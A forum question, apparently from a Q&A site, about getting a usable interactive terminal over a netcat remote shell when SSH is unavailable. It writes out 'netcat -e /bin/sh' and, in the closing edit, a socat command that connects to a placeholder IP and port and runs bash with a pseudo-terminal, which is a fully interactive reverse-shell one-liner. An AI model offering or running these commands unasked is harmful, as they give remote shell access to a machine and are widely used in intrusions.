Currently I'm using the standard netcat -e /bin/sh to provide a remote shell for other computers to access.
The problem is however that this shell is rather terrible, since it has limited output. For example if I send some invalid command xxxxx, I will get no response from the machine, but on the machine there will be an error in the terminal saying /bin/sh: xxxxx: not found.
If I use the shell to launch a console application, often I cannot see anything the console application outputs, and I can't Ctrlz over the shell because that will close netcat on the machine. It's a mess, I'd like it to work just like SSH (which I can't use).
Instead of piping everything to /bin/sh like I'm doing with netcat, would it be possible to create a custom application instead that will show me all the outputs in a terminal? Is it possible somehow get the text off the terminal, regardless of what process wrote to it?
Would it be possible to start an sshd on the box, and then netcat -e "ssh root@localhost" and do it that way? (I've tried this, doesn't seem to work).
I'm looking for any kind of solution.
EDIT: After about 40 hours of searching and dealing with people trying to force me to use SSH, I've figured it out thanks to this article: http://blog.rootshell.ir/2010/08/get-your-interactive-reverse-shell-on-a-webhost/
The magic command:
socat tcp:<IPADDRESS>:<PORT> exec:’bash -li’,pty,stderr,setsid,sigint,sane
The magic is socat and that last part:
exec:’sh’,pty,stderr,setsid,sigint,sane
Which allows me to get a near-perfect terminal over reverse connected socat. I changed bash -li to just sh because it was giving me errors.
Thanks for the help!